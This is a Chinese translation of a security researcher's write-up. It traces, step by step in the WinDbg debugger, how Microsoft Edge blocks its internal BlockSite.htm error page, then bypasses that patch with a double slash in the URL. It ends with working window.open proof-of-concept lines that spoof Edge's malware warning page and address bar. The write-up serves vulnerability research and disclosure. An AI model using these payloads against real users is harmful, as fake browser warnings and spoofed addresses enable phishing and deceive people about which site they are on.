绕过补丁实现欺骗地址栏和恶意软件警告
微软推送了一个大规模更新。本次更新修复了众多的安全漏洞,包括来自本网站的大部分。这是一个巨大的荣誉,一个属于 Edge 开发者们及负责该安全的开发者的荣誉。对于那些依然维持 IE 浏览器策略的开发者,我觉得至少要公开地表态为什么不继续维护 IE 了。要么让它停更,要么继续维护。
快速回顾
微软 Edge 允许加载一些内部资源包括类似 acr_error.htm 的 html 网页,不过不允许BlockSite.htm 的加载。为何呢?这是因为后者很容易被用于欺骗内部恶意软件警告和地址栏。前几个月,我们通过把URL中的一个点改为对应的转义来绕过该限制,现在这个被打上补丁了。Edge 开发者在检查字符串输入之前解码恶意 URL,所以得找其他的方法了。加把劲!关掉那烦人的 facebook 消息栏,别在其他地方让费时间了。统统都关掉吧,让我们沉浸在有趣的二进制的海洋吧!
没有标记
到目前为止,微软公司并没有上传太多的公开标记,所以我们的分析不可能像上周(当时标记已经公开)一样正当。不过,也别担心,我们只是尝试绕过补丁而已,请在心里铭记攻击者的心态:我们只是想绕过补丁,仅此而已。我想,攻击者难道会说先休息一个星期吧,等微软公开它的标志。
寻找“blocksite.htm”
我们知道,在 Edge 浏览器成千上万行代码里,肯定有一个比较字符串来阻止“blocksite.htm”加载,因此我们将依靠 Edge 定位到该字符串并通过设置内存访问断点来监测它的读取。
下面的 Javascript 调用 ACCESS_DENIED 不过并未开启一个新窗口:
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm");
这个内部 URL 被 Edge 屏蔽,因为,这个特别的错误页面能接收哈希值查询语句,这将使攻击者实现地址栏和页面内容欺骗。
我们的目标是打开那个 URL 再次欺骗 Edge。为此,要实现这个目标,我们将使用下面的URL(末尾处的点和‘faceboook’编码使我们可以在内存中检查我们的字符串):
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");
我们链接到 Edge 去查找 BlockSite.htm。首先,将搜索范围限定在大多数代码汇集的 EdgeHtml.dll 模块。这仅仅是个猜测,如果我们在这里什么都没找到,那么我们将查找其他模块甚至所有的 Edge 文件。
一旦链接到正确的 Edge 浏览器进程,我们需要了该模块的起始结束地址,这样我们才能确定在内存的搜索范围。
0:029> lm m edgehtml
Browse full module list
start end module name
00007fff`54ba0000 00007fff`5614d000 edgehtml
现在我们可以为搜索命令提供地址范围和要搜索的字符串了。WinDbg 的语法实在是吓人的,不过我可以告诉你下面的指令是在那些难以阅读的 64 位地址间搜索‘s’并返回 Unicode 字符 u 的【1】地址。
0:029> s -[1]u 00007fff`54ba0000 00007fff`5614d000 "BlockSite"
0x00007fff`55d90846
0x00007fff`55d90944
0x00007fff`55e52c02
好的,WinDbg 迅速返回三个地址,我们看看是否正确的。Du du du,像是Dudú——我的朋友,昵称叫“Dudú”。
0:029> du 0x00007fff`55d90846; du 0x00007fff`55d90944; du0x00007fff`55e52c02
00007fff`55d90846 "BlockSite.htm"
00007fff`55d90944 "BlockSite.htm"
00007fff`55e52c02 "BlockSite.htm"
我瞬时激动了。我们想找出该字符串的访问者,因此在这三个地址上都设置了断点。
ba r1 0x00007fff`55d90846
ba r1 0x00007fff`55d90944
ba r1 0x00007fff`55e52c02
g (keep running, Edge!)
好极了!接着转到 Javascript 代码试着打开我们的恶意链接。
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");
哇!极速断点,返回到 WinDbg,看看返回的结果:
Breakpoint 0 hit
KERNELBASE!lstrlenW+0x18:
00007fff`74f6e2c8 75f6 jne KERNELBASE!lstrlenW+0x10 (00007fff`74f6e2c0) [br=1]
从这看来我们在 kernelbase 模块,不过我们的目的是找到与字符串相关的EdgeHtml 模块。我们去看一下最近的5次栈跟踪调用。
0:013> k 5
# Child-SP RetAddr Call Site
00 000000d3`14df8de8 00007fff`74f70244 KERNELBASE!lstrlenW+0x18
01 000000d3`14df8df0 00007fff`54fee629 KERNELBASE!StrStrIW+0x54
02.000000d3`14df8eb0 00007fff`55004e6b edgehtml!Ordinal107+0xc6059
03 000000d3`14df9f50 00007fff`55007272 edgehtml!Ordinal107+0xdc89b
04 000000d3`14df9f80 00007fff`55004cae edgehtml!Ordinal107+0xdeca2
前两个属于 kennelbase 模块,接下来的这个来自 edgehtml。更清楚规范地讲,一段 edgehtml 的代码调用了 kennelbase 模块库的的 StrStrIW 函数。通过谷歌搜索,我们在 MSDN 上找到了 StrStrIW 函数的说明文档:
文档非常讲得非常清楚,多亏了栈跟踪,我们得以知道 edgehtml 调用的是这个函数。我们在返回地址之前设置断点,这样我们就可以分析在这之前的代码了(顺便提一下,也可以通过两次分步执行达到同样的效果,不妨试试)。
bp edgehtml!Ordinal107+0xc6059
g
砰!立即到了断点。
Breakpoint 3 hit
edgehtml!Ordinal107+0xc6059:
00007fff`54fee629 4885c0 test rax,rax
我们刚从字符串的比较中返回,因此我们看看稍前时间发生了什么。在WinDbg 下,我们可以很容易地反汇编:
0:013> ub $ip
edgehtml!Ordinal107+0xc602d:
00007fff`54fee5fd lea rdx,[edgehtml!Ordinal138+0x3e4ff8 (00007fff`55d5e6b8)]
00007fff`54fee604 lea rcx,[rsp+30h]
00007fff`54fee609 call qword ptr [edgehtml!Ordinal138+0x38b5b8 (00007fff`55d04c78)]
00007fff`54fee60f test eax,eax
00007fff`54fee611 jne edgehtml!Ordinal107+0xc6108 (00007fff`54fee6d8)
00007fff`54fee617 lea rdx,[edgehtml!Ordinal138+0x417160] (Second Argument)
00007fff`54fee61e lea rcx,[rsp+30h] (First Argument)
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8]
干得真棒!不过,由于字符问题,这些东西有点难看。也别太在意,我们知道,这是从上面的调用(最近的这条)返回,是吧? 而且,在调用之前,传递了两个参数,一个在rdx,另一个在rcx(这两个都是指令)。由于调用已经执行,其中的值可能改变了,所以无法得知其中的具体情况。接下来,我们通过在最后一次的调用(还未执行)之前设置断点来更进一步地检查该值:
bd * (disable previous breakpoints)
bp 00007fff`54fee623
g
现在我们可以在它比较之前看个究竟。运行Javascript:
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");
断点恰好在执行比较前启动了:
Breakpoint 4 hit
edgehtml!Ordinal107+0xc6053:
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] ds:00007fff`55d04c88={KERNELBASE!StrStrIW (00007fff`74f701f0)}
我们检查一下传递给 StrStrl 函数的参数:
0:013> du @rcx (First argument)
000000d3`14df8ee0 "ms-appx-web://microsoft.microsof"
000000d3`14df8f20 "tedge/assets/errorpages/BlockSit"
000000d3`14df8f60 "e.htm?BlockedDomain=facebook.com"
0:013> du @rdx (Second argument)
00007fff`55d90820 "/assets/errorPages/BlockSite.htm"
哦!看,我构造的 %2e 已经被解码成点了。这表明 Edge 调用 StrStrl
函数,然后检查 URL 中是否存在“/assets/errorPages/BlockSite.htm”。下面的的 pseudoCode 就是我所坚信的:
记住,我们这是在推断,这很重要。因为实际中是不可能在比较之后再检查的。不过,目前我们正需要进行比较,所以希望它快点进行。对此,我们并不是特别关心,只要可以用相同的技术再次绕过就行。
Var url = "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com";
var badString = "/assets/errorPages/BlockSite.htm";
if (badString is inside URL) ACCESS_DENIED;
现在主要的问题是浏览器会阻止硬编码的字符串尽管 URL 可以写成多种不同的形式。先前的方法是编码进一个点,现在我们要解码并且已经确切地了解了字符串比较的过程,所以需要新的方法。我想到很多主意比如,多重编码,在 URL 中插入斜杠等。我们试试在 URL 中插入斜杠来欺骗字符串检查,希望是有效的输入。正如在错误页面插入破折号:
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com");
哇!看,简单的双斜杠就绕过了补丁,同时,还能加载URL。现在,我们构造一个更好的查询字符串来完全欺骗恶意报警页面,就像我们那样:
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com");
本文由 看雪翻译小组 StrokMitream 编译,来源Manuel@brokenbrowser
热 门 阅 读:
攻击 Western Digital NAS 个人云存储设备
......
更多优秀文章点击左下角阅读原文查看!
看雪论坛:http://bbs.pediy.com
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com